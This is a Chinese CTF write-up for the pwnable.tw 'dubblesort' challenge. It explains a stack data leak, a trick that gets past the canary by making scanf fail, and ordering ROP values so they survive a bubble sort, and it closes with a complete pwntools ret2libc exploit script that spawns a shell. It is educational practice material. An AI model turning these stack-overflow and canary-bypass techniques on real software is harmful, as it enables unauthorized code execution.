难度不大的一关,而且网上有比我的做法更简单(但具有技巧性)的做法。 但是还是做了好久好久……不是耗在题目上,主要是耗在搞libc版本上。
题目 保护全开的i386程序。 首先提示输入姓名,用read读取,并用 printf("...%s...", buf)
打印出来(这种形式没办法利用格式化字符串漏洞)。 然后提示输入数组大小和数据,在循环中用 scanf("%u", a[i])
读取,数组大小无极限(但循环变量用寄存器表示,无法跳过某地址读写)。 最后对数组进行冒泡排序 ,并将排序后的数组一个一个输出。
本题有两个漏洞:
read读取数据时不会自动补上\x00,所以打印的时候可以泄露一些栈上的数据。(但由于大小控制良好,无法栈溢出,无法泄露canary)
数组大小无极限,可以进行栈溢出。
问题主要是:
栈上有哪些数据可供泄露?
如何应对canary?
如何让我的gadget在经过排序后仍旧待在正确的位置?
第一个问题:泄露数据 由于这是本人第一次做提供了libc的题目,我前前后后摸索了很久。
本题栈上数据有很多,我选择泄露libc里的一个地址。 本地环境下,这个地址是GOT,然而在线环境下同一个位置的值变了,好在仍然是libc里的某地址,现场计算一下偏移仍然可以用:
1 2 3 4 5 print (io.recvS())io.send(b'a' *4 *7 + b'\x01' ) mes = io.recvrepeat(1 ) libc_base = unpack(mes[34 :34 +4 ])-0x1 - libc_offset print (hex (libc_base))
第二个问题:如何应对canary 看网上大佬的wp,可以利用单个的”+”或者”-“来欺骗 scanf("%u", a[i])
,引发“读取成功但读个寂寞”的效果,这是因为scanf会将这俩当作数字的正负号来对待。 这是一个技巧性很强的trick,我没有想到。我的方法是在读取数据循环到canary的位置的时候,输入一个任意非数字字符串(”stop”),由于程序没有写清空输入流的操作,所以包括该scanf之内的所有后续scanf都会跳过,引发“读取失败且读个寂寞”效果。
采用这种方法,就可以在保留canary在栈上的情况下,通过之后的冒泡排序,将比canary大的数据移动到canary之后。 但是缺点是canary之后的数据无法覆盖,只能想办法应付。
第三个问题:如何应对/利用冒泡排序 本题的冒泡排序将大的数字移到上边(地址高位),小的数据移到下面。 采用上述的应对canary方法,有一些数据是无法进行覆盖的,排序的时候必须考虑这些已有数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 pwndbg> stack 50 00:0000│ esp 0xffffce30 —▸ 0xffffce4c ◂— 0x1 01:0004│ 0xffffce34 ◂— 0x1 02:0008│ 0xffffce38 ◂— 0x0 03:000c│ 0xffffce3c —▸ 0xf7ffdc08 —▸ 0xf7fd7000 ◂— jg 0xf7fd7047 04:0010│ 0xffffce40 —▸ 0xf7ffcd00 (_rtld_global_ro) ◂— 0x0 05:0014│ 0xffffce44 —▸ 0xffffcf6c —▸ 0xffffd184 ◂— 'HTTP_PROXY=http://192.168.21.1:7890/' 06:0018│ 0xffffce48 ◂— 0x1 (以下为数组开始处) 07:001c│ 0xffffce4c ◂— 0x1 08:0020│ edi 0xffffce50 —▸ 0xf7ffddd8 —▸ 0xf7ffdd64 —▸ 0xf7ffdc1c —▸ 0xf7ffdc08 ◂— ... 09:0024│ 0xffffce54 —▸ 0xffffcea0 ◂— 0x1 0a:0028│ 0xffffce58 ◂— 0x0 ... ↓ 2 skipped 0d:0034│ 0xffffce64 —▸ 0xffffd151 ◂— '/home/nss/Desktop/pwnable.tw/dubblesort/dubblesort' 0e:0038│ 0xffffce68 —▸ 0xf7fcd000 ◂— 0x1afdb0 0f:003c│ 0xffffce6c ◂— 0x6b63614a ('Jack') 10:0040│ 0xffffce70 —▸ 0xffff0a79 ◂— 0x0 11:0044│ 0xffffce74 ◂— 0x2f /* '/' */ 12:0048│ 0xffffce78 ◂— 0x50 /* 'P' */ 13:004c│ 0xffffce7c —▸ 0xf7eac82f ◂— add edi, 0x1207d1 14:0050│ 0xffffce80 ◂— 0x1 15:0054│ 0xffffce84 ◂— 0x8000 16:0058│ 0xffffce88 —▸ 0xf7fcd000 ◂— 0x1afdb0 17:005c│ 0xffffce8c —▸ 0x56555601 ◂— add ebx, 0x199f 18:0060│ 0xffffce90 —▸ 0x565557a9 ◂— add ebx, 0x17f7 19:0064│ 0xffffce94 —▸ 0x56556fa0 ◂— 0x1ea8 1a:0068│ 0xffffce98 ◂— 0x1 1b:006c│ 0xffffce9c —▸ 0x56555b72 ◂— add edi, 1 1c:0070│ 0xffffcea0 ◂— 0x1 1d:0074│ 0xffffcea4 —▸ 0xffffcf64 —▸ 0xffffd151 ◂— '/home/nss/Desktop/pwnable.tw/dubblesort/dubblesort' 1e:0078│ 0xffffcea8 —▸ 0xffffcf6c —▸ 0xffffd184 ◂— 'HTTP_PROXY=http://192.168.21.1:7890/' (以下为canary以及无法覆盖的数据) 1f:007c│ 0xffffceac ◂— 0xadd66300 20:0080│ 0xffffceb0 —▸ 0xf7fcd3dc —▸ 0xf7fce1e0 ◂— 0x0 21:0084│ 0xffffceb4 —▸ 0xffffd14b ◂— 'i686' 22:0088│ 0xffffceb8 —▸ 0x56555b2b ◂— add ebx, 0x1475 23:008c│ 0xffffcebc ◂— 0x0 24:0090│ 0xffffcec0 —▸ 0xf7fcd000 ◂— 0x1afdb0 25:0094│ 0xffffcec4 —▸ 0xf7fcd000 ◂— 0x1afdb0 26:0098│ ebp 0xffffcec8 ◂— 0x0 27:009c│ 0xffffcecc —▸ 0xf7e35637 (__libc_start_main+247) ◂— add esp, 0x10 28:00a0│ 0xffffced0 ◂— 0x1 29:00a4│ 0xffffced4 —▸ 0xffffcf64 —▸ 0xffffd151 ◂— '/home/nss/Desktop/pwnable.tw/dubblesort/dubblesort' 2a:00a8│ 0xffffced8 —▸ 0xffffcf6c —▸ 0xffffd184 ◂— 'HTTP_PROXY=http://192.168.21.1:7890/' 2b:00ac│ 0xffffcedc ◂— 0x0 ... ↓ 2 skipped 2e:00b8│ 0xffffcee8 —▸ 0xf7fcd000 ◂— 0x1afdb0 2f:00bc│ 0xffffceec —▸ 0xf7ffdc04 ◂— 0x0 30:00c0│ 0xffffcef0 ◂— 0x1 31:00c4│ 0xffffcef4 ◂— 0x0
我把(栈上的)数据由小到大分为5类:
极小值:0或1
代码段:0x56xxxxxx
canary:随机,但可以假设大小在该位置
libc代码地址:0xf7xxxxxx,比如__libc_start_main
极大值:libc的got及以上的地址。(libc的RW段、程序的栈地址等)
而ROP用到的gadget地址(system和/bin/sh)都位于4、5中间,也就是大于libc_start_main,小于libc的got。
简单思考一下:极大值一定会排在最后,因此我们要达到的效果是(注意32位函数调用规则,地址后面是返回地址,然后才是函数参数):
1 2 3 4 5 6 7 8 9 10 11 esp+0x1c | 0, 1...... ... esp+0x78 | 0x56xxxxxxxx esp+0x7c | canary esp+0x80 | libc_start_main or libc_base or whatever (I just used system) ... ebp+0x04 | system ebp+0x08 | system(ret_addr) ebp+0x0c | "/bin/sh\x00" esp+0x10 | big value like libc_got ...
按照这个效果,进行一下不可控数据中极大值和极小值的配平(过程略),就可以计算出需要输入哪些数据。 exp脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *context.arch='i386' context.log_level='debug' filename="./dubblesort" elf=ELF(filename) libc_name="./libc_32.so.6" libc=ELF(libc_name) io = remote('chall.pwnable.tw' , 10101 ) def send_d (data ): io.sendlineafter(b": " , str (data).encode('ascii' )) libc_offset = 0x1b0000 - 0x1e00 sys_offset = 0x3a940 sh_str_offset = 0x158e8b print (io.recvS())io.send(b'a' *4 *7 + b'\x01' ) mes = io.recvrepeat(1 ) libc_base = unpack(mes[34 :34 +4 ])-0x1 - libc_offset print (hex (libc_base))io.sendline(b'43' ) for i in range (0 , 15 ): send_d(1 ) for i in range (0 , 8 ): send_d(libc_base + sys_offset) send_d(libc_base + sh_str_offset) io.sendlineafter(b": " , b"stop" ) io.interactive()